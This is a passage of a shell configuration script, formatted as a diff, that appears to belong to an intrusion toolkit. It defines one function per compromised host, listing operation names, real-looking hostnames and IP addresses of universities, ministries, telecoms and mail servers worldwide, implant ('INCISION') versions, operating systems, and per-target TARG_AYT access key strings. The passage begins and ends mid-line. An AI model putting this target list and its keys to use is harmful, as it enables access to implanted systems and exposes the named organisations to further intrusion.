export TARG_AYT="efe39b08 465a338c db5d9532" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=-60 +} + +INTONATION______gate.technopolis.kirov.ru_______217.9.148.61() { +# INTONATION___gate.technopolis.kirov.ru___217.9.148.61___20060912-073905 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="54a5142a 7a08fc53 0bbff46b" +} + +INTONATION______imms1.macau.ctm.net_____________202.175.36.54() { +# INTONATION___imms1.macau.ctm.net___202.175.36.54___20040917-170702 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="f604d849 5b6bda89 2f392cc2" +} + +INTONATION______indy.fjmu.edu.cn________________202.112.176.3() { +# INTONATION___indy.fjmu.edu.cn___202.112.176.3___20060509-093858 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="f2f7bf00 a31fe8c0 905fd227" +} + +INTONATION______kacstserv.kacst.edu.sa__________212.26.44.132() { +# INTONATION___kacstserv.kacst.edu.sa___212.26.44.132___20060925-112731 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="cfac60dc f21f219e 71af6c6f" +} + +INTONATION______known.counsellor.gov.cn_________61.151.243.13() { +# INTONATION___known.counsellor.gov.cn___61.151.243.13___20040414-095522 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="684a97df c02068dc d8d3a90f" +} + +INTONATION______laleh.itrc.ac.ir._______________80.191.2.2() { +# INTONATION___laleh.itrc.ac.ir___80.191.2.2___20030411-160713 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.7 + export TARG_AYT="61b44674 9ca936ab 524bb920" +} + +INTONATION______mail.bangla.net_________________203.188.252.3() { +# INTONATION___mail.bangla.net___203.188.252.3___20011023-135858 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.6 + export TARG_AYT="6d8275f8 c5835609 f103e472" +} + +INTONATION______mail.edi.edu.cn_________________218.104.71.61() { +# INTONATION___mail.edi.edu.cn___218.104.71.61___20030619-160701 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="8ffee519 2e38f356 a878d119" +} + +INTONATION______mail.hallym.ac.kr_______________210.115.225.25() { +# INTONATION___mail.hallym.ac.kr___210.115.225.25___20031204-110826 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="86f0747e 348f2a59 2b887cc7" +} + +INTONATION______mail.hangzhouit.gov.cn__________202.107.197.199() { +# INTONATION___mail.hangzhouit.gov.cn___202.107.197.199___20050124-103318 + ## INCISION Version:4.11.2 OS:i686-pc-linux-gnu-2.4.20-8 + export TARG_AYT="e544d069 6240e572 f86fb848" +} + +INTONATION______mail.hz.zh.cn___________________202.101.172.6() { +# INTONATION___mail.hz.zh.cn___202.101.172.6___20030806-135014 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="1a8c4bd0 3ae72d69 38da97b2" +} + +INTONATION______mail.imamu.edu.sa_______________212.138.48.8() { +# INTONATION___mail.imamu.edu.sa___212.138.48.8___20021002-194811 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="057f2b44 02dbac88 a7cdcc70" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=600 +} + +INTONATION______mail.siom.ac.cn_________________210.72.9.2() { +# INTONATION___mail.siom.ac.cn___210.72.9.2___20040130-100754 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="c9d117fe 0627c192 232facf8" +} + +INTONATION______mail.tropmet.res.in_____________203.199.143.2() { +# INTONATION___mail.tropmet.res.in___203.199.143.2___20061205-165032 + ## INCISION Version:4.11.2.1 OS:i686-pc-linux-gnu-2.4.20-8 + export TARG_AYT="e8880256 5ab23bee edc0b76f" +} + +INTONATION______mail.tsinghua.edu.cn____________166.111.8.17() { +# INTONATION___mail.tsinghua.edu.cn___166.111.8.17___20070125-153203 + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="a2ee200f 10a539c7 822de499" +} + +INTONATION______mail.zzu.edu.cn_________________222.22.32.88() { +# INTONATION___mail.zzu.edu.cn___222.22.32.88___20050203-113356 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="3ddb2dd5 9ae410c0 c26b2cf6" +} + +INTONATION______mail1.371.net___________________218.29.0.195() { +# INTONATION___mail1.371.net___218.29.0.195___20021219-153821 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.7 + export TARG_AYT="d3b68be6 cad0d93d 99dbbf17" +} + +INTONATION______mailgw.thtf.com.cn______________218.107.133.12() { +# INTONATION___mailgw.thtf.com.cn___218.107.133.12___20050506-111956 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="d6dd2c7c 27aaf4fb 1bbea7af" +} + +INTONATION______mailhub.minaffet.gov.rw_________62.56.174.152() { +# INTONATION___mailhub.minaffet.gov.rw___62.56.174.152___20030123-190431 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="7a5129ae 352d9fec 27198c00" +} + +INTONATION______mails.cneic.com.cn______________218.247.159.113() { +# INTONATION___mails.cneic.com.cn___218.247.159.113___20040506-152938 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="f1383417 fae9919f 7211d56d" +} + +INTONATION______mailscan3.cau.ctm.net___________202.175.36.180() { +# INTONATION___mailscan3.cau.ctm.net___202.175.36.180___20040203-125322 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="6da2bd5a 5f020634 63650677" +} + +INTONATION______mailsrv02.macau.ctm.net_________202.175.3.120() { +# INTONATION___mailsrv02.macau.ctm.net___202.175.3.120___20041110-164323 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="9bbede35 a442d90a 23251cb2" +} + +INTONATION______mailsvra.macau.ctm.net__________202.175.3.119() { +# INTONATION___mailsvra.macau.ctm.net___202.175.3.119___20041129-140502 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="3af90a70 e2334caf 49a568f0" +} + +INTONATION______mbi3.kuicr.kyoto-u.ac.jp________133.103.101.21() { +# INTONATION___mbi3.kuicr.kyoto-u.ac.jp___133.103.101.21___20020725-132154 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="c9a9589d 87af7062 f9075a12" +} + +INTONATION______mcd-su-2.mos.ru_________________10.34.100.2() { +# INTONATION___mcd-su-2.mos.ru___10.34.100.2___20070206-140548 + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="116ac87d a98f7729 71c38ebc" +} + +INTONATION______mipsa.ciae.ac.cn________________202.38.8.1() { +# INTONATION___mipsa.ciae.ac.cn___202.38.8.1___20040909-115106 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="9ac49d9e 7c49d97e 2236c777" +} + +INTONATION______mpkhi-bk.multi.net.pk___________202.141.224.40() { +# INTONATION___mpkhi-bk.multi.net.pk___202.141.224.40___20020826-172332 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="37b1ec88 7961dbac 4dbf0daf" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=660 +} + +INTONATION______msgstore2.pldtprv.net___________192.168.120.3() { +# INTONATION___msgstore2.pldtprv.net___192.168.120.3___20021114-120148 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="e2d817a0 39231c16 a515e43a" +} + +INTONATION______n02.unternehmen.com_____________62.116.144.147() { +# INTONATION___n02.unternehmen.com___62.116.144.147___20050705-151139 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="f30e0607 75d845af 6396e155" +} + +INTONATION______ndl1mc1-a-fixed.sancharnet.in___61.0.0.46() { +# INTONATION___ndl1mx1-a-fixed.sancharnet.in___61.0.0.46___20031204-134957 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="c401fa75 f7e66e09 4b8c6f9d" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=60 +} + +INTONATION______ndl1mx1-a-fixed.sancharnet.in___61.0.0.46() { +# INTONATION___ndl1mx1-a-fixed.sancharnet.in___61.0.0.46___20060606-162122 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="34a8db49 c873525e 4bbbbe1c" +} + +INTONATION______ndl1pp1-a-fixed.sancharnet.in___61.0.0.71() { +# INTONATION___ndl1pp1-a-fixed.sancharnet.in___61.0.0.71___20040406-142721 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="8bf5dd52 c3ab4318 2acb40de" +} + +INTONATION______no1.unternehemen.com____________62.116.144.150() { +# INTONATION___no1.unternehemen.com___62.116.144.150___20050127-173545 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="83a1ca9a e6d626ab 3081ad25" +} + +INTONATION______no3.unternehmen.org_____________62.116.144.190() { +# INTONATION___no3.unternehmen.org___62.116.144.190___20050920-130356 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="ec96bd02 bdfa6528 769db161" +} + +INTONATION______ns.cac.com.cn___________________202.98.102.5() { +# INTONATION___ns.cac.com.cn___202.98.102.5___20030325-142643 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="3101bbd2 986a801c b4f87169" +} + +INTONATION______ns1.2911.net____________________202.99.41.9() { +# INTONATION___ns1.2911.net___202.99.41.9___20041103-115142 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="0df2b008 189b3465 ad9c5b14" +} + +INTONATION______ns1.multi.net.pk________________202.141.224.34() { +# INTONATION___ns1.multi.net.pk___202.141.224.34___20020826-161236 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="0fec50bf 8aea8798 feb3d724" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=660 +} + +INTONATION______ns2.xidian.edu.cn_______________202.117.112.4() { +# INTONATION___ns2.xidian.edu.cn___202.117.112.4___20041025-142854 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="30cac4b5 442673a3 b0074e86" +} + +INTONATION______orion.platino.gov.ve____________161.196.215.67() { +# INTONATION___orion.platino.gov.ve___161.196.215.67___20030124-003332 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="df0fe25c 2e83f666 6d0b4682" +} + +INTONATION______outweb.nudt.edu.cn______________202.197.0.185() { +# INTONATION___outweb.nudt.edu.cn___202.197.0.185___20031113-142441 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="b0cd0f85 f68ed634 3b36e295" +} + +INTONATION______pop.net21pk.com_________________203.135.45.66() { +# INTONATION___pop.net21pk.com___203.135.45.66___20011109-094618 + ## INCISION Version:4.8 OS:i386-pc-solaris2.7 + export TARG_AYT="60cbe3ed c8524547 3be1117a" +} + +INTONATION______post.netchina.com.cn____________202.94.1.48() { +# INTONATION___post.netchina.com.cn___202.94.1.48___20020221-095050 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="d0eab020 8b499a7e ae3a5c1d" +} + +INTONATION______public2.zz.ha.cn________________218.29.0.200() { +# INTONATION___public2.zz.ha.cn___218.29.0.200___20021024-130727 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.7 + export TARG_AYT="7fcf9429 e0ee0c9b 92154b17" +} + +INTONATION______sea.net.edu.cn__________________202.112.5.66() { +# INTONATION___sea.net.edu.cn___202.112.5.66___20031023-175518 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="c712883b 6565d449 78b12df6" +} + +INTONATION______smmu-ipv6.smmu.edu.cn___________202.121.224.5() { +# INTONATION___smmu-ipv6.smmu.edu.cn___202.121.224.5___20070126-160444 + ## INCISION Version:4.11.2.1 OS:i686-pc-linux-gnu-2.4.20-8 + export TARG_AYT="a339824d 338cc069 3360d5ea" +} + +INTONATION______smtp.2911.net___________________218.245.255.5() { +# INTONATION___smtp.2911.net___218.245.255.5___20041208-155757 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="876ef40b 35821f19 c0b61c74" +} + +INTONATION______smtp.macau.ctm.net______________202.175.36.220() { +# INTONATION___smtp.macau.ctm.net___202.175.36.220___20040310-144519 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="9fd58b50 0de85148 2cbc3bbe" +} + +INTONATION______sonatns.sonatrach.dz____________193.194.75.35() { +# INTONATION___sonatns.sonatrach.dz___193.194.75.35___20020418-113439 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="e7a5aeec 422041ec 00a32f82" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=120 +} + +INTONATION______sparc.nour.net.sa_______________212.12.160.26() { +# INTONATION___sparc.nour.net.sa___212.12.160.26___20040920-165854 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="41d49a3a 8232e0f1 e527a917" +} + +INTONATION______sps01.office.ctm.net____________202.175.4.38() { +# INTONATION___sps01.office.ctm.net___202.175.4.38___20040803-134817 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="65587160 81a0acdd a9e0eea1" +} + +INTONATION______sunhe.jinr.ru___________________159.93.18.100() { +# INTONATION___sunhe.jinr.ru___159.93.18.100___20070117-184531 + ## INCISION Version:4.10.2.10 OS:i386-pc-solaris2.7 + export TARG_AYT="e61da076 fac29c1e 81fb53bf" +} + +INTONATION______sussi.cressoft.com.pk___________202.125.140.194() { +# INTONATION___sussi.cressoft.com.pk___202.125.140.194___20011101-145536 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="a856ccdc f2332998 8d582007" +} + +INTONATION______ultra2.tsinghua.edu.cn__________166.111.120.10() { +# INTONATION___ultra2.tsinghua.edu.cn___166.111.120.10___20060823-114519 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="148f6d55 041f5110 c3ff2269" +} + +INTONATION______unknown.counsellor.gov.cn_______61.151.243.13() { +# INTONATION___unknown.counsellor.gov.cn___61.151.243.13___20040414-090039 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="b1407a1a 358e2d36 1c2566dd" +} + +INTONATION______voyager1.telesat.com.co_________66.128.32.68() { +# INTONATION___voyager1.telesat.com.co___66.128.32.68___20030821-014410 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="ac0bd167 749b69ec 4d4c889f" +} + +INTONATION______webserv.mos.ru__________________10.30.10.2() { +# INTONATION___webserv.mos.ru___10.30.10.2___20061102-153710 + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="a7b25fd8 ec73c517 e58328b9" +} + +INTONATION______www.siom.ac.cn__________________202.127.16.44() { +# INTONATION___www.siom.ac.cn___202.127.16.44___20040130-100548 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="2316009b e3666f77 a2265fbf" +} + +INTONATION______www21.counsellor.gov.cn_________130.34.115.132() { +# INTONATION___www21.counsellor.gov.cn___130.34.115.132___20040414-114204 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="051fe7c6 32aa93d2 5ddf61be" +} + +INTONATION______www21.counsellor.gov.cn_________61.151.243.13() { +# INTONATION___www21.counsellor.gov.cn___61.151.243.13___20040414-120150 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="39d5b872 6e8808a2 1dbba278" +} + +JOHNS_OP________bob.bob.com_____________________1.2.3.4() { +# JOHNS_OP___bob.bob.com___1.2.3.4___20051003-142757 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="ec76b54a 1a0c917d 8e102407" +} + +JOHNTEST________bob.bob.com_____________________1.2.3.4() { +# JOHNTEST___bob.bob.com___1.2.3.4___20060721-191129 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="1aef6232 f5ba9631 1f3acb9e" +} + +JOHNTEST________john.john.com___________________1.2.3.4() { +# JOHNTEST___john.john.com___1.2.3.4___20060921-162307 + ## INCISION Version:1.1.2.1 OS:hppa2.0w-hp-hpux11.00 + export TARG_AYT="NOT KEYED" +} + +LAMPSWITCH______unknown.unknown_________________1.2.3.4() { +# LAMPSWITCH___unknown.unknown___1.2.3.4___20050111-110013 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="ab076006 1d6e3cec 4fe10591" +} + +PITCHIMPAIR_____Spirit.das2.ru__________________81.94.47.83() { +# PITCHIMPAIR___Spirit.das2.ru___81.94.47.83___20050314-174949 + ## INCISION Version:4.9.1 OS:i386-pc-solaris2.8 + export TARG_AYT="e7b1cc4b e322deb3 dc090a11" +} + +PITCHIMPAIR_____anie.sarenet.es_________________192.148.167.2() { +# PITCHIMPAIR___anie.sarenet.es___192.148.167.2___20010919-094131 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.6 + export TARG_AYT="ebfd82cd afbc1fe0 6a2fbcd5" +# [ "$UTC_OFFSET" ] || export UTC_OFFSET=60 +} + +PITCHIMPAIR_____aries.ficnet.net________________202.145.137.19() { +# PITCHIMPAIR_TW___mx.iplus.net.tw___202.145.137.19___20010905-143819 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="1662b4de 966aea14 10622227" +} + +PITCHIMPAIR_____asic.e-technik.uni-rostock.de___139.30.202.8() { +# PITCHIMPAIR___asic.e-technik.uni-rostock.de___139.30.202.8___20070124-134252 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="4f49f0f1 9aff3a76 ccbb6d0e" +} + +PITCHIMPAIR_____burgoa.sarenet.es_______________194.30.32.242() { +# PITCHIMPAIR___burgoa.sarenet.es___194.30.32.242___20010919-094002 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="1c4dfce1 8bca119e 7ce71ae3" +} + +PITCHIMPAIR_____cad-server1.EE.NCTU.edu.tw______140.113.212.150() { +# PITCHIMPAIR___cad-server1.EE.NCTU.edu.tw___140.113.212.150___20040322-113315 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.5.1 + export TARG_AYT="dba1abf2 c5b1b090 ace01585" +} + +PITCHIMPAIR_____ciidet.rtn.net.mx_______________204.153.24.32() { +# PITCHIMPAIR___ciidet.rtn.net.mx___204.153.24.32___20060928-005616 + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="3545126d 3b4d7202 9cd26095" +} + +PITCHIMPAIR_____cmusun8.unige.ch________________129.194.97.8() { +# PITCHIMPAIR___cmusun8.unige.ch___129.194.97.8___20040408-215133 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="f864fded c74315bc e5fd7109" +} + +PITCHIMPAIR_____colpisaweb.sarenet.es___________194.30.32.229() { +# PITCHIMPAIR___colpisaweb.sarenet.es___194.30.32.229___20041202-195849 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="2bd4cb74 18f3e9d7 99316a48" +} + +PITCHIMPAIR_____connection1.connection.com.br___200.160.208.4() { +# PITCHIMPAIR___connection1.connection.com.br___200.160.208.4___20070907-122727 + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="6e25159c 46d85529 11f73e34" +} + +PITCHIMPAIR_____connection2.connection.com.br___200.160.208.8() { +# PITCHIMPAIR___connection2.connection.com.br___200.160.208.8___20051027-184836 + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="6b841bb9 d8bb6e2c 2660759c" +} + +PITCHIMPAIR_____dns1.unam.mx____________________132.248.204.1() { +# PITCHIMPAIR___dns1.unam.mx___132.248.204.1___20050525-033556 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="54dae6e7 aa9a3382 b45e6372" +} + +PITCHIMPAIR_____dns2.chinamobile.com____________211.137.241.34() { +# PITCHIMPAIR___dns2.chinamobile.com___211.137.241.34___20060222-114032 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="05d4ede8 c5575d0e b661a4a5" +} + +PITCHIMPAIR_____dns2.unam.mx____________________132.248.10.2() { +# PITCHIMPAIR___dns2.unam.mx___132.248.10.2___20030514-214806 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="89fb31ab 7f5fb21b 8aae3d47" +} + +PITCHIMPAIR_____dragon.unideb.hu________________193.6.138.65() { +# PITCHIMPAIR___dragon.unideb.hu___193.6.138.65___20040929-215658 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.6 + export TARG_AYT="bb7c47f0 ecd2b8c0 338fccee" +} + +PITCHIMPAIR_____dukas.upc.es____________________147.83.2.62() { +# PITCHIMPAIR___dukas.upc.es___147.83.2.62___20031119-174549 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="97e9b702 8e634360 fc9dc8d3" +# [ "$UTC_OFFSET" ] || export UTC_OFFSET=60 +} + +PITCHIMPAIR_____e3000.hallym.ac.kr______________210.115.225.16() { +# PITCHIMPAIR___e3000.hallym.ac.kr___210.115.225.16___20050308-122314 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="fda8f372 60167c38 f0013225" +} + +PITCHIMPAIR_____electra.otenet.gr_______________195.170.2.3() { +# PITCHIMPAIR___electra.otenet.gr___195.170.2.3___20060117-111026 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="fafcdfec 8a830c16 2167276d" +} + +PITCHIMPAIR_____fl.sun-ip.or.jp_________________150.27.1.10() { +# PITCHIMPAIR___fl.sun-ip.or.jp___150.27.1.10___20040415-105302 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="9b1be55a c3e93b7c 5e533337" +} + +PITCHIMPAIR_____ftp.hyunwoo.co.kr_______________211.232.97.195() { +# PITCHIMPAIR___ftp.hyunwoo.co.kr___211.232.97.195___20050830-140317 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="fe2c7c71 c9a3416a 63f9a7ef" +} + +PITCHIMPAIR_____ganeran.sarenet.es______________194.30.32.177() { +# PITCHIMPAIR___ganeran.sarenet.es___194.30.32.177___20040408-204729 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="8f8e2041 bb85fc5b ed121e5a" +} + +PITCHIMPAIR_____geosun1.unige.ch________________129.194.41.4() { +# PITCHIMPAIR___geosun1.unige.ch___129.194.41.4___20050609-030034 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="14736d79 d5201861 9363f6a0" +} + +PITCHIMPAIR_____giada.ing.unirc.it______________192.167.50.14() { +# PITCHIMPAIR___giada.ing.unirc.it___192.167.50.14___20030424-144321 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="e67bd879 0107a9b7 467fd886" +} + +PITCHIMPAIR_____hk.sun-ip.or.jp_________________150.27.1.5() { +# PITCHIMPAIR___hk.sun-ip.or.jp___150.27.1.5___20020503-112719 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="17a46133 1378224a d5e183b7" +} + +PITCHIMPAIR_____iconoce1.sarenet.es_____________194.30.0.16() { +# PITCHIMPAIR___iconoce1.sarenet.es___194.30.0.16___20050307-184346 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="3c256e0a 0fbc627f 903581a6" +} + +PITCHIMPAIR_____icrsun.kuicr.kyoto-u.ac.jp______133.3.5.20() { +# PITCHIMPAIR___icrsun.kuicr.kyoto-u.ac.jp___133.3.5.20___20030708-151922 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="76d97f78 d66f71fc a2f6cd48" +} + +PITCHIMPAIR_____ids2.int.ids.pl_________________195.117.3.32() { +# PITCHIMPAIR___ids2.int.ids.pl___195.117.3.32___20050308-174411 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="2528958b b8e22b7f d18334b9" +} + +PITCHIMPAIR_____iti-idsc.net.eg_________________163.121.12.2() { +# PITCHIMPAIR___iti-idsc.net.eg___163.121.12.2___20030807-171521 + ## INCISION Version:4.9 OS:i386-pc-solaris2.8 + export TARG_AYT="daa2e382 6562c43f 0b8956bf" +} + +PITCHIMPAIR_____kommsrv.RZ.UniBw-Muenchen.de____137.193.10.8() { +# PITCHIMPAIR___kommsrv.RZ.UniBw-Muenchen.de___137.193.10.8___20050705-171558 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="aebd9d0b 16d5a8ba 4003ab97" +} + +PITCHIMPAIR_____logos.uba.uva.nl________________145.18.84.96() { +# PITCHIMPAIR___logos.uba.uva.nl___145.18.84.96___20050830-155753 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="9612b0f0 7fd7c68c 67f6f2ba" +} + +PITCHIMPAIR_____ltv.com.ve______________________200.75.112.26() { +# PITCHIMPAIR___ltv.com.ve___200.75.112.26___20050323-215019 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="9b241b8b 25b2b914 871fe97f" +} + +PITCHIMPAIR_____mail.a-1.net.cn_________________210.77.147.84() { +# PITCHIMPAIR___mail.a-1.net.cn___210.77.147.84___20050916-161008 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="44f8cc98 4a0c5b9f dc04d75a" +} + +PITCHIMPAIR_____mail.bhu.ac.in__________________202.141.107.15() { +# PITCHIMPAIR___mail.bhu.ac.in___202.141.107.15___20050629-115843 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="cb2c8f78 04ac605c d27d569f" +} + +PITCHIMPAIR_____mail.btbu.edu.cn________________211.82.112.23() { +# PITCHIMPAIR___mail.btbu.edu.cn___211.82.112.23___20060531-165405 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="cd79cf28 5d1471a8 f5127255" +} + +PITCHIMPAIR_____mail.dyu.edu.tw_________________163.23.1.73() { +# PITCHIMPAIR___mail.dyu.edu.tw___163.23.1.73___20050901-122929 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="27d6c216 597d457b 73c6a442" +} + +PITCHIMPAIR_____mail.et.ntust.edu.tw____________140.118.2.53() { +# PITCHIMPAIR___mail.et.ntust.edu.tw___140.118.2.53___20050315-111913 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="f442cc15 9c07e0df 3be0a297" +} + +PITCHIMPAIR_____mail.hanseo.ac.kr_______________203.234.72.4() { +# PITCHIMPAIR___mail.hanseo.ac.kr___203.234.72.4___20050321-110247 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="b840ebfe 057cab3d 8d15bce5" +} + +PITCHIMPAIR_____mail.hccc.gov.tw________________210.241.6.97() { +# PITCHIMPAIR___mail.hccc.gov.tw___210.241.6.97___20050425-144217 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="0004b8b2 8bc04e1a 6a1d51af" +} + +PITCHIMPAIR_____mail.howon.ac.kr________________203.246.64.14() { +# PITCHIMPAIR___mail.howon.ac.kr___203.246.64.14___20051101-143337 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="a8c02468 ad3fc94a 2448a0f1" +} + +PITCHIMPAIR_____mail.irtemp.na.cnr.it___________140.164.20.20() { +# PITCHIMPAIR___mail.irtemp.na.cnr.it___140.164.20.20___20040929-200426 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="c82e4be3 d00f89bb 7b27d0a6" +} + +PITCHIMPAIR_____mail.jccs.com.sa________________212.70.32.100() { +# PITCHIMPAIR___mail.jccs.com.sa___212.70.32.100___20031016-185322 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="2c750c82 ea9736a6 ec815225" +} + +PITCHIMPAIR_____mail.lzu.edu.cn_________________202.201.0.136() { +# PITCHIMPAIR___mail.lzu.edu.cn___202.201.0.136___20050331-143207 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="a93a0064 ba051b6d a8765bdb" +} + +PITCHIMPAIR_____mail.mae.co.kr__________________210.118.179.1() { +# PITCHIMPAIR___mail.mae.co.kr___210.118.179.1___20041022-114228 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.6 + export TARG_AYT="b1159736 6eeb838c 8843911c" +} + +PITCHIMPAIR_____mail.must.edu.tw________________203.68.220.40() { +# PITCHIMPAIR___mail.must.edu.tw___203.68.220.40___20041022-133501 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="04e59402 3ed51d1f f348279e" +} + +PITCHIMPAIR_____mail.ncue.edu.tw________________163.23.225.100() { +# PITCHIMPAIR___mail.ncue.edu.tw___163.23.225.100___20041022-122302 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="1bbb6cde 44602da5 